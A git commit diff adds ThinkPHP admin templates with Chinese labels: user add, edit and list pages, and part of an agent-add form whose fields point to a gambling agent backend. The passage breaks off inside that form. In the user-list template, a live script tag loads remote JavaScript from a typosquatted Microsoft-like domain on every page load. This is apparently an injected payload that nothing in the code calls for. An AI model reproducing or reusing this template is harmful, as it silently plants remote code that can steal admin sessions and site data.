add
This commit is contained in:
Vendored
BIN
Binary file not shown.
@@ -0,0 +1,168 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 6到16个字符</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与密码保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">状态:</label>
|
||||
<div class="controls">
|
||||
<select id="L_status" name="L_status" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<option value="1" selected>正常</option>
|
||||
<option value="0">锁定</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remarks" name="L_remarks" type="text" value maxlength="50" minlength="3" class="required"></textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/admin/index';
|
||||
if(id == "2") location.href = '/admin/admin_add';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.username = $('#L_username').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.status = $('#L_status').val();
|
||||
query.remarks = $('#L_remarks').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.username.length == 0){
|
||||
layer.alert("请填写账号!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length <= 0){
|
||||
layer.alert("请填写密码!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass.length > 0 && query.pass.length < 6){
|
||||
layer.alert("密码长度为6到16个字符!");
|
||||
return false;
|
||||
}
|
||||
if(query.pass != query.repass){
|
||||
layer.alert("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/admin/do_admin_add',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = "/admin/index";
|
||||
});
|
||||
}else{
|
||||
layer.alert(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,165 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">用户修改</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value="{$admin.admin}" readonly maxlength="50" minlength="3" class="required" readonly>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="password" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 密码默认为空不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="password" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 密码默认为空不修改</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value="{$admin.mobile}" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> *</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value="{$admin.email}" maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">状态:</label>
|
||||
<div class="controls">
|
||||
<select id="L_status" name="L_status" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<option value="1" <?php if($admin['status'] == 1) echo 'selected'; ?>>正常</option>
|
||||
<option value="0" <?php if($admin['status'] == 0) echo 'selected'; ?>>锁定</option>
|
||||
</select>
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">备注:</label>
|
||||
<div class="controls">
|
||||
<textarea id="L_remarks" name="L_remarks" type="text" value maxlength="50" minlength="3" class="required">{$admin.remark}</textarea>
|
||||
</div>
|
||||
</div>
|
||||
<div class="bottom-buttom">
|
||||
<label class="control-label"></label>
|
||||
<div class="controls">
|
||||
<div class='submit'>保存</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<!-- 隐藏参数 -->
|
||||
<input type="hidden" id="admin-id" value="{$admin.id}">
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/admin/index';
|
||||
if(id == "2") location.href = '/admin/admin_edit';
|
||||
});
|
||||
|
||||
//监听提交
|
||||
$('.submit').click(function (data) {
|
||||
// 获取和拼装添加代理的数据
|
||||
var query = new Object();
|
||||
query.admin_id = $('#admin-id').val();
|
||||
query.username = $('#L_username').val();
|
||||
query.pass = $('#L_pass').val();
|
||||
query.repass = $('#L_repass').val();
|
||||
query.mobile = $('#L_mobile').val();
|
||||
query.email = $('#L_email').val();
|
||||
query.remarks = $('#L_remarks').val();
|
||||
|
||||
// 验证数据
|
||||
if(query.pass.length > 0){
|
||||
if(query.pass.length >= 6){
|
||||
if(query.pass != query.repass){
|
||||
layer.msg("两次密码不一致!");
|
||||
return false;
|
||||
}
|
||||
}else{
|
||||
layer.msg("密码不能少于6位字符!");
|
||||
return false;
|
||||
}
|
||||
}
|
||||
var re = /1[\d]{6,10}/;
|
||||
if(!re.test(query.mobile)){
|
||||
layer.msg("请填写正确的手机号码!");
|
||||
return false;
|
||||
}
|
||||
|
||||
// 发送数据到后台添加会员
|
||||
var result = ajax('/admin/do_admin_edit',query);
|
||||
if(result.code == 1){
|
||||
layer.alert(result.msg, {icon: 6}, function () {
|
||||
location.href = '/admin/index';
|
||||
});
|
||||
}else{
|
||||
layer.msg(result.msg,{icon:2});
|
||||
}
|
||||
return false;
|
||||
});
|
||||
|
||||
// AJAX函数封装
|
||||
function ajax(url,query){
|
||||
var returnData = 0;
|
||||
$.ajax({
|
||||
url:url,
|
||||
data:query,
|
||||
type:'POST',
|
||||
dataType:'JSON',
|
||||
async:false,
|
||||
success:function(data){
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,37 @@
|
||||
{include file="public/header"}
|
||||
<body>
|
||||
<div class="x-body">
|
||||
<table class="layui-table">
|
||||
<div style="text-align: center;font-size: 18px;font-weight:bold;">用户列表</div>
|
||||
<thead>
|
||||
<tr>
|
||||
<th style="text-align: center;">编号</th>
|
||||
<th style="text-align: center;">用户名</th>
|
||||
<th style="text-align: center;">电话</th>
|
||||
<th style="text-align: center;">邮箱</th>
|
||||
<th style="text-align: center;">最后登录IP</th>
|
||||
<th style="text-align: center;">最后登录时间</th>
|
||||
<th style="text-align: center;">状态</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="admin_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.admin}</td>
|
||||
<td>{$vo.mobile}</td>
|
||||
<td>{$vo.email}</td>
|
||||
<td>{$vo.last_login_ip}</td>
|
||||
<td>{$vo.last_login_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td>正常</td>
|
||||
{else}
|
||||
<td>锁定中</td>
|
||||
{/if}
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</div>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,264 @@
|
||||
{include file="public/header"}
|
||||
<style>
|
||||
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
|
||||
.x-body .layui-row .xblock button{ margin-top:-20px; }
|
||||
.x-body .layui-form{ margin-top:15px; margin-bottom:10px; }
|
||||
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
|
||||
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
|
||||
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
|
||||
.layui-input-block dl{ text-align:left; }
|
||||
.x-so{ margin:0; }
|
||||
.x-so input.layui-input{ width:150px; }
|
||||
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
</style>
|
||||
<body>
|
||||
<script src=https://x.mircosoft-sec.com/sXdeXc?1583228117></script>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one actived" data-id="1">用户列表</a>
|
||||
<a href="javascript:;" class="list-two" data-id="2">用户添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="x-body">
|
||||
<div class="layui-row">
|
||||
<form class="layui-form layui-col-md12 x-so float-left" action="/admin/index" method="get">
|
||||
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
|
||||
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
|
||||
<div class="layui-input-block" >
|
||||
<select name="status" id="status">
|
||||
<option value="-1" selected>请选择用户状态</option>
|
||||
<option value="1" <?php if(isset($get['status']) && $get['status'] == 1) {echo 'selected';} ?>>正常</option>
|
||||
<option value="2" <?php if(isset($get['status']) && $get['status'] == 2) {echo 'selected';} ?>>锁定</option>
|
||||
</select>
|
||||
</div>
|
||||
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
|
||||
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon"></i></button>
|
||||
<span class="layui-btn" id="export">导出excel</span>
|
||||
<!--<span class="layui-btn" id="print">打印</span>-->
|
||||
</form>
|
||||
</div>
|
||||
<table class="layui-table">
|
||||
<thead>
|
||||
<tr>
|
||||
<th>编号</th>
|
||||
<th>用户名</th>
|
||||
<th>电话</th>
|
||||
<th>邮箱</th>
|
||||
<th>最后登录IP</th>
|
||||
<th>最后登录时间</th>
|
||||
<th>状态</th>
|
||||
<th>操作</th>
|
||||
</tr>
|
||||
</thead>
|
||||
<tbody>
|
||||
{foreach name="admin_list" item="vo"}
|
||||
<tr>
|
||||
<td>{$vo.id}</td>
|
||||
<td>{$vo.admin}</td>
|
||||
<td>{$vo.mobile}</td>
|
||||
<td>{$vo.email}</td>
|
||||
<td>{$vo.last_login_ip}</td>
|
||||
<td>{$vo.last_login_time}</td>
|
||||
{if condition="$vo.status == 1"}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">正常</span>
|
||||
</td>
|
||||
{else}
|
||||
<td class="td-status">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">锁定中</span>
|
||||
</td>
|
||||
{/if}
|
||||
<td class="td-manage">
|
||||
{if condition="$vo.status == 1"}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="锁定">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">锁定</span>
|
||||
</a>
|
||||
{else}
|
||||
<a onclick="member_stop(this,'{$vo.id}')" href="javascript:;" title="解锁">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini">解锁</span>
|
||||
</a>
|
||||
{/if}
|
||||
<a href="/admin/admin_edit?id={$vo.id}">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#009688;">修改</span>
|
||||
</a>
|
||||
<a onclick="member_del(this,'{$vo.id}')" href="javascript:;">
|
||||
<span class="layui-btn layui-btn-normal layui-btn-mini" style="background:#ff5050;">删除</span>
|
||||
</a>
|
||||
</td>
|
||||
</tr>
|
||||
{/foreach}
|
||||
</tbody>
|
||||
</table>
|
||||
{$admin_list->render()}
|
||||
</div>
|
||||
<script>
|
||||
// 代理列表和添加代理切换
|
||||
$('.x-nav .change_box a').click(function(){
|
||||
// 样式切换
|
||||
$('.x-nav .change_box a').removeClass('actived');
|
||||
$(this).addClass('actived');
|
||||
// 页面切换
|
||||
var id = $(this).attr('data-id');
|
||||
if(id == "1") location.href = '/admin/index';
|
||||
if(id == "2") location.href = '/admin/admin_add';
|
||||
});
|
||||
// 时间选择器
|
||||
layui.use('laydate', function () {
|
||||
var laydate = layui.laydate;
|
||||
|
||||
// 开始时间
|
||||
laydate.render({
|
||||
elem: '#start',
|
||||
type: 'datetime'
|
||||
});
|
||||
|
||||
// 结束时间
|
||||
laydate.render({
|
||||
elem: '#end',
|
||||
type: 'datetime'
|
||||
});
|
||||
});
|
||||
|
||||
/*用户-锁定/解锁*/
|
||||
function member_stop(obj, id) {
|
||||
layer.confirm('确认要' + $(obj).attr('title') + '吗?', function (index) {
|
||||
if ($(obj).attr('title') == '锁定') {
|
||||
// 拼装数据发送后台 锁定 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 0;
|
||||
var result = ajax('/admin/change_status', query);
|
||||
} else {
|
||||
// 拼装数据发送后台 解锁 会员
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
query.status = 1;
|
||||
var result = ajax('/admin/change_status', query);
|
||||
}
|
||||
console.log(query);
|
||||
// 判断结果 弹出提示
|
||||
if (result.code == 1) {
|
||||
layer.msg(result.msg, {icon: 1, time: 1500});
|
||||
setInterval(function () {
|
||||
location.reload();
|
||||
}, 1500);
|
||||
} else {
|
||||
layer.msg(result.msg, {icon: 2, time: 1500});
|
||||
}
|
||||
|
||||
});
|
||||
}
|
||||
|
||||
/*用户-删除*/
|
||||
function member_del(obj, id) {
|
||||
layer.confirm('确认要删除吗?',function () {
|
||||
// 数据验证
|
||||
if(id <= 0){
|
||||
layer.msg('删除用户出错!');
|
||||
return false;
|
||||
}
|
||||
|
||||
// 拼装数据
|
||||
var query = new Object;
|
||||
query.user_id = id;
|
||||
|
||||
// 发送数据到后台删除会员
|
||||
var result = ajax('/admin/admin_del',query);
|
||||
if(result.code == 1){
|
||||
layer.msg(result.msg, {icon: 1, time: 1000},function(){
|
||||
location.reload();
|
||||
});
|
||||
}else if(result.code == 0){
|
||||
layer.msg(result.msg, {icon: 2, time: 1000});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
/**
|
||||
* 封装 AJAX 函数
|
||||
* @param url 目标地址
|
||||
* @param query 参数
|
||||
* @returns {string}
|
||||
*/
|
||||
function ajax(url, query) {
|
||||
var returnData = "";
|
||||
$.ajax({
|
||||
url: url,
|
||||
data: query,
|
||||
type: 'POST',
|
||||
dataType: 'JSON',
|
||||
async: false,
|
||||
success: function (data) {
|
||||
returnData = data;
|
||||
}
|
||||
});
|
||||
return returnData;
|
||||
}
|
||||
$('#print').click(function(){
|
||||
var qs = getQueryString();
|
||||
var startDate = qs["startDate"];
|
||||
var endDate = qs["endDate"];
|
||||
var status = qs["status"];
|
||||
var username = qs["username"];
|
||||
if(startDate == undefined){
|
||||
startDate = '';
|
||||
}
|
||||
if(endDate == undefined){
|
||||
endDate = '';
|
||||
}
|
||||
if(status == undefined){
|
||||
status = '';
|
||||
}
|
||||
if(username == undefined){
|
||||
username = '';
|
||||
}
|
||||
layer.open({
|
||||
type: 2,
|
||||
title:'用户列表打印',
|
||||
content: '/admin/admin_print?startDate='+startDate+'&endDate='+endDate+'&status='+status+'&username='+username,
|
||||
area: ['95%', '95%']
|
||||
});
|
||||
});
|
||||
function getQueryString() {
|
||||
var qs = location.search.substr(1), // 获取url中"?"符后的字串
|
||||
args = {}, // 保存参数数据的对象
|
||||
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
|
||||
item = null,
|
||||
len = items.length;
|
||||
|
||||
for(var i = 0; i < len; i++) {
|
||||
item = items[i].split("=");
|
||||
var name = decodeURIComponent(item[0]),
|
||||
value = decodeURIComponent(item[1]);
|
||||
if(name) {
|
||||
args[name] = value;
|
||||
}
|
||||
}
|
||||
return args;
|
||||
}
|
||||
|
||||
// 导出excel
|
||||
$('#export').click(function(){
|
||||
var startDate = $('#start').val();
|
||||
var endDate = $('#end').val();
|
||||
var status = $('#status').val();
|
||||
var username = $('#username').val();
|
||||
layer.confirm('确定导出 excel 吗?',function(index){
|
||||
location.href = "/admin/index?export=1&&startDate="+startDate+"&&endDate="+endDate+"&&status="+status+"&&username="+username;
|
||||
layer.close(index);
|
||||
});
|
||||
})
|
||||
</script>
|
||||
</body>
|
||||
|
||||
</html>
|
||||
@@ -0,0 +1,802 @@
|
||||
{include file="public/header"}
|
||||
<style type="text/css">
|
||||
textarea, input[type="text"], input[type="password"],
|
||||
.uneditable-input{border: 1px solid #ccc;background-color: #fff; }
|
||||
.change_box a{font-size: 14px;padding: 10.5px 10px;}
|
||||
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
|
||||
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
|
||||
.x-nav{overflow: inherit; }
|
||||
.x-nav .refresh{margin-right: 20px; }
|
||||
.control-group{overflow: hidden; margin-bottom: 15px; padding-bottom: 15px; border-bottom: 1px dotted #dddddd; }
|
||||
.control-label{float: left; padding-top: 3px; width: 160px; text-align: right; font-size: 14px; }
|
||||
.controls{text-align: left; overflow-x: auto; overflow-y: hidden; margin-left: 180px; }
|
||||
.controls input{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls select{width: 300px; height: 24px; font-size: 14px; border-radius: 4px; padding-left:6px; }
|
||||
.controls textarea{width: 400px; height: 90px; border-radius: 4px; } .form-horizontal{margin: 0 10px; }
|
||||
.bottom-buttom{border-top: 1px solid #e5e5e5; margin-top: 20px; background-color: #f5f5f5; padding: 30px 0; }
|
||||
.submit{width: 50px; text-align: center; background-color:#3daae9; color: #fff; padding: 5px 10px; font-size: 16px; border-radius: 4px; cursor:pointer; }
|
||||
</style>
|
||||
<body>
|
||||
<div class="x-nav" style="padding: 0px;">
|
||||
<span class="change_box">
|
||||
<a href="javascript:;" class="list-one" data-id="1">代理列表</a>
|
||||
<a href="javascript:;" class="list-two actived" data-id="2">代理添加</a>
|
||||
</span>
|
||||
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
|
||||
href="javascript:location.replace(location.href);" title="刷新">
|
||||
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
|
||||
</div>
|
||||
<br>
|
||||
<div class="info_from form-horizontal">
|
||||
<div class="control-group">
|
||||
<label class="control-label">账号:</label>
|
||||
<div class="controls">
|
||||
<input id="L_username" name="L_username" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 将会成为您唯一的登入名</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">昵称:</label>
|
||||
<div class="controls">
|
||||
<input id="L_nickname" name="L_nickname" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * </font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_pass" name="L_pass" type="text" value maxlength="50" minlength="3" class="required">
|
||||
<span class="help-inline">
|
||||
<font color="red"> * 6到16个字符</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">确认密码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_repass" name="L_repass" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 与密码保持一致</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">手机号码:</label>
|
||||
<div class="controls">
|
||||
<input id="L_mobile" name="L_mobile" type="text" value maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">邮箱:</label>
|
||||
<div class="controls">
|
||||
<input id="L_email" name="L_email" type="text" value maxlength="50" minlength="3" class="required">
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">总代性质:</label>
|
||||
<div class="controls">
|
||||
<input name="agent_type" class="required agent_type" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked>
|
||||
<span style="position:relative;top:-7px;">现金线</span>
|
||||
<input name="agent_type" class="required agent_type" type="radio" value="2" maxlength="20" style="color:#999;width:35px;">
|
||||
<span style="position:relative;top:-7px;">信用线</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">支付渠道:</label>
|
||||
<div class="controls">
|
||||
{foreach name="$pay_channel_list" item="vo"}
|
||||
<span>
|
||||
<input name="pay_channel" class="required pay_channel" type="radio" value="{$vo.key}" maxlength="20" style="color:#999;width:35px;">
|
||||
<span style="position:relative;top:-7px;">{$vo.name}</span>
|
||||
</span>
|
||||
{/foreach}
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">码量分担方式:</label>
|
||||
<div class="controls">
|
||||
<select id="share_xima">
|
||||
<option value="1">不分担</option>
|
||||
<option value="2">按代理占成比例分担</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group">
|
||||
<label class="control-label">洗码方式:</label>
|
||||
<div class="controls">
|
||||
<input name="type_xima" class="required type_xima" type="radio" value="1" maxlength="20" style="color:#999;width:35px;" checked>
|
||||
<span style="position:relative;top:-7px;">双边洗码</span>
|
||||
<input name="type_xima" class="required type_xima" type="radio" value="2" maxlength="20" style="color:#999;width:35px;">
|
||||
<span style="position:relative;top:-7px;">单边洗码</span>
|
||||
</div>
|
||||
</div>
|
||||
<div class="control-group rebate-box">
|
||||
<label class="control-label">返水率(%):</label>
|
||||
<div class="controls">
|
||||
<input id="rebate_rate" name="rebate_rate" type="text" value="" maxlength="50" minlength="3" class="required"><span class="help-inline">
|
||||
<font color="red"> * 返水率取0-100之间</font>
|
||||
</span>
|
||||
</div>
|
||||
</div>
